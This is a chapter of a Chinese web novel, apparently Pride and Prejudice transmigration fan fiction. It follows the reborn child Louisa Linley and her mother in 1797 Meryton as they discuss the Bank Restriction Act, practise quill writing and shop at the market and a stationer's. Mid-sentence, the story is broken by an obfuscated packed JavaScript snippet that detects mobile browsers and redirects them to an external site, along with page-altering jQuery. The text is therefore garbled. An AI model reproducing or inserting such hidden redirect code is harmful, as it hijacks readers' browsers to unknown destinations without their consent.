路易莎吃完饭后,起来迈着小短腿散步消食。她热爱养生,早睡早起从不熬夜,每天清晨骑行或去公园散步,一股老年人的作风。
她兜着圈圈。林利夫人看着穿着白罩衫的女儿发笑。那么小小一个。
“妈妈在做什么?”路易莎过去问。“写两篇评论,给报纸的投稿。”
小姑娘爬上高凳坐在旁边,认着上面的字。《1797银行限制法案评述》。
好专业啊。一手边摆着一摞报纸书本,这就是资料了吧。
林利太太蘸着墨水,写着流利的手写体。中间不忘跟女儿解释,“今年议会2月份出台的法案,禁止英格兰银行将纸币兑换成黄金。”
她像只是要有人说说话。
“战争当前,贵金属短缺,纸币加印。人们恐惧纸币贬值,会到银行兑换黄金。那么银行黄金没了就会倒闭。”
路易莎听明白了,“就有了这个……”
“对,政府需要英格兰银行提供贷款,发行国债打仗,但长此以往,一个结果会出现。物价飞涨。”这就是林利太太这篇评论的内容。
“所以丽兹爸爸说要涨地租。”原来是通货膨胀啊。路易莎理解得很快。
林利太太不意外,她也是四岁时候就能背下弥尔顿的长诗。或许她随她父亲。
“是这样。”
路易莎惊叹,她妈妈是什么人啊。好厉害啊。看来这个时代有很多聪明的人。
也是,要不然哪里来的发明蒸汽机的瓦特和写《国富论》的亚当斯密呢。
路易莎很习惯这样教育方式,她爷爷奶奶都是数学物理专业出身的航天人。
她从小耳濡目染,动手能力强,没走理论方向选了机械。
林利太太写完一段后停了笔,拿过本圣经来考校,惊讶地发现,“露露,你认识这么多字了。”
路易莎点头,那是,不过看宗教太费脑袋了,她一点不喜欢宗教。“沃森太太教我的。”
那个男人的面容浮现在面前,“我是个无神论者。我不相信宗教,但也不反对信仰的自由。”
林利太太没说什么,小女孩的头发披散着,落到了肩头,被缎带束起。
她绕上黑玉的鬈发,“露露怎么不出去玩了?”
“我想陪在妈妈身边。“路易莎还没贴贴够,她听妈咪轻轻笑了一声。
她按照作为说好的,削羽毛笔,用象牙柄的小刀削出斜尖。妈妈怕她割到手,只让在桌上一点点切割。
路易莎搏斗完,林利太太拿起修了修,再蘸墨水,在纸上写了两个单词。
“路易莎.林利。”(Louisa Linley)
“我的名字!”
“真聪明,露露。”说着在旁边标上“Lulu”的可爱昵称。她名字是三个L唉,好好玩。
妈妈听了后一块抿唇笑着。又蘸蘸墨水把笔递给她,路易莎在这个世界第一次握笔。
细细的羽毛笔捏在手中,她准备展示一手,最后拉了坨大的。写出来的字迹歪歪扭扭。
林利太太看女儿不高兴,忍着笑,“已经很好了,露露。”
羽毛笔真难用啊,这个时代人怎么写字的。好怀念圆珠笔钢笔,路易莎较着劲,终于找到诀窍,成功地驯服了。
“真厉害,亲爱的。”她太喜欢被夸夸了!
“妈妈名字是什么?”她模仿着妈妈写出来的“Elizabeth”,和原著女主同名。
Gordon戈登,姓氏。路易莎一下写了好多字。
“唔,露露可以从明天开始练习读写了。”
“为什么是明天?”
“因为今天要出门啊。”
……
母女俩步行到镇上时,路易莎不忘问起物价,羽毛笔一支两便士,但是多买便宜。两百支只要18先令。(1先令=12便士)
妈妈每天要消耗掉两支羽毛笔,一年4英镑,再加上墨水纸,看来知识很费钱。她们家女仆包吃住,每年薪资才6英镑。
路易莎庆幸自己能读书写字,没面临太大的生存危机。“我们先去邮局寄信。”林利太太挥了挥手中的一沓信件,起码有五六封。
她看出女儿眼中的疑问,“寄给亲友的。”
路易莎有点困惑,妈妈在英国这边看来家人不少,可为什么不让她和那边联系呢?
看上去也不像关系不好。
镇上的居民好奇地看着这对母女,林利太太戴着顶深绿的波奈特软帽。
那张面容确实美丽。这片教区村镇总共就几百人,互相都认识,来个陌生人总会被关注。
林利太太抱起女儿避开若有若无的视线,她轻轻皱起眉。路易莎在母亲怀里看到了巡逻的红制服,这个民兵团刚来没多久。
团里的年轻军官翘首望着,有人想吹个口哨停住。对方怎么说,也是个“Lady”。
路易莎意识到她和妈妈是孤儿寡母。太容易被人盯上了。她警惕地看着。
现在还没邮票,寄信邮费按照纸张里程计算,林利太太每封都密密麻麻写在一张纸上,20英里就要6便士,由收信人支付。
寄信人要先预付一便士,林利太太省了这笔钱,“妈妈用了免费邮寄戳。”
议员享有免费邮寄的特权,免费邮寄戳就是他们的签名,随信附上把签名的一面折在外面。
富人们不会为寄信花钱,让收信人付邮费总不太礼貌。总会托关系弄到个邮寄戳反复使用。
还能这样啊,路易莎想。也好,省钱了。寄完信后,就是去镇上的市集逛逛了。
小姑娘第一次出来跟着买菜。梅里顿镇保留着都铎式建筑,有个广场,街道狭窄,房屋紧凑。
本地的女仆玛莎提着篮子。日常采购由仆人完成,母女俩只是来市集看看。路易莎问着物价。不知道以后会涨成什么样。
先去面包坊买面包,肉铺买肉,光这就花了2先令了。她家每年200镑生活支出,平均到每天才11先令。
市集上买牛奶和新做的黄油奶酪,8便士,鸡蛋蔬菜水果贝内特家有送来,加两磅腌肉。省了6便士。
(一磅454克,接近一斤)
再到日常当水饮用的淡啤酒,备好的茶叶咖啡糖,煤炭木柴蜡烛肥皂,每天4先令。
真是哪哪都要花钱啊。这么一算,每日结余4先令,再做衣服,订报纸买书,存不下什么了。
店里买东西能先记账,每月付一次,摊贩这就要付现金了。
“家庭农场自给自足的话,能省多少啊?”路易莎提问道。她飞速计算着。林利太太得出了30英镑的数字。是这个数。
“看来露露。我们得开垦个农场了。租房时包括了旁边的土地,可以先弄个菜园,再搭鸡舍。”
“好啊好啊!”路易莎太惊喜了,她马上可以种地了,还有鸡可以生蛋。
市集上摆摊的基本是附近农户。
“露露想吃什么?”路易莎有点嘴馋,想喝鱼汤。“鱼!”
集市这有小贩卖新捞的鱼,鱼比肉要卖的贵,一磅1先令。路易莎躲在腿后看桶里扭扭的鳗鱼。
虽然烤鳗鱼也很好吃,但她想喝鱼汤啊。看来看去找不到鲫鱼,要是炖豆腐就更美好了。
被抱起来后她小小声地说,“我想吃炖鱼妈咪,只放一点香料。先煎个鸡蛋,煎鱼再炖。”那样汤就是白白的了。
林利太太听着这个奇怪的吃法,路易莎不好意思说,“我觉得这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256611|182079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样会好吃。”
“唔,那试试吧。有点像鳕鱼汤,沃森太太会做。”
玛莎听懂了,“小姐,可以买这个。”她挑了条丁桂鱼。看样子像桂鱼,奇奇怪怪。
路易莎看了眼另一边的,是鲈鱼吧,想吃清蒸鲈鱼。算了,今天先吃一只吧!
这条丁桂鱼花了1先令4便士。真贵。摊贩把鱼带水装进玛莎的陶罐里,他常捞鱼来卖。
在河流湖泊里捕鱼,要获取地主许可的。贝内特家都不需要买鱼,佃农捕到会先送过来。
路易莎一本正经告诉妈妈她们今天还有2先令的预算,林利太太忍着笑。
玛莎先带着采购的两包食材回去了。母女俩离了集市,去逛镇上的店铺。
梅里顿的布料店帽子店裁缝铺都挨在一起。年轻姑娘相携着穿梭逛街,她们是附近富裕农场主和镇上商人店主的女儿,每周还会去公共舞会跳舞。
路易莎好像看到了原著里贝内特姐妹在镇上笑着买帽子,经历这个时代风貌,还挺有意思的。
这些店铺没大而明净的橱窗,有的二层窗户都被钉起来。“原来窗户都要收税啊。”路易莎惊讶。打仗真是麻烦,好多税。
进到店里就不好玩了。路易莎看着琳琅满目的女士物价,什么?一把扇子5先令,手套4先令,就连白色丝绸手帕都要6先令。
她偷偷说,“贵贵的。”
林利太太忍笑,“露露,不用太省钱的。”也是,每天预算还剩4先令,每个月能支配的有6英镑,还可以了。
路易莎上辈子从小就自己管零花钱,理财意识十足。母女俩逛逛,发现衣服够穿,饰品也有,没什么买的必要,就走了。
女儿真奇怪。不喜欢漂亮的小东西。林利太太心想。
但进了文具店后,路易莎就有了兴致。她看着锡纸墨水瓶,各色的羽毛笔,纸张到精美本子。画笔颜料画纸,石墨条,一条条封蜡。柜台一角的架子上码着书籍。
“伦敦有书店,几条街扎堆那种。乡下则是有流动书商。”林利太太跟女儿说明,“再就是文具店兼卖书。”
路易莎最爱逛书店了。她踮着脚看着,圣经祈祷书之类,还有烹饪书,沃森太太那有。这里,农业手册。
没看到小说之类,是因为小说很贵吗?“小说通常要1基尼。很少有人买来收藏,多是去流通图书馆借阅。”(1.05英镑)
昨晚妈妈给她区分了各种书籍概念,看来小说目前还是难登大雅之堂。流通图书馆每年交2基尼会费,就能借阅书籍。那里基本都是小说。
镇上有个流通图书馆,在广场那里。公共图书馆之类的,是没有了。
乡下人识字率不高,不到一半,就连报纸杂志,都会只去酒馆翻阅。
她们家有单独订,女仆每天去邮局取,一份报纸要4便士。沃森太太每天读时,路易莎有凑过去看过。四家日报,再加上每个月的两本杂志,每年支出25英镑了。
妈妈说是要收印花税,印刷品都很贵。
沃森太太看报纸时会大声读出来。路易莎了解了许多。听名人八卦时候更是津津有味。
“在乡下还能互相借书看,有的乡绅家藏书不少。”路易莎同意,贝内特家就有个书房,放着两书架的书。
等她以后长大了,就问贝内特先生借书看吧。
路易莎在妈妈帮忙下拿出本农业手册,要种地得先看看这个吧。这些书只装订了硬纸壳,书名要在扉页看到。
“阿瑟.杨,很有名的农业改良家。”路易莎选了本《农村经济》,林利太太还打算借两本小说每晚念给女儿听,看到这,“好吧,那我们读这个。”
花了7先令。路易莎收获满满,她把书抱在怀里。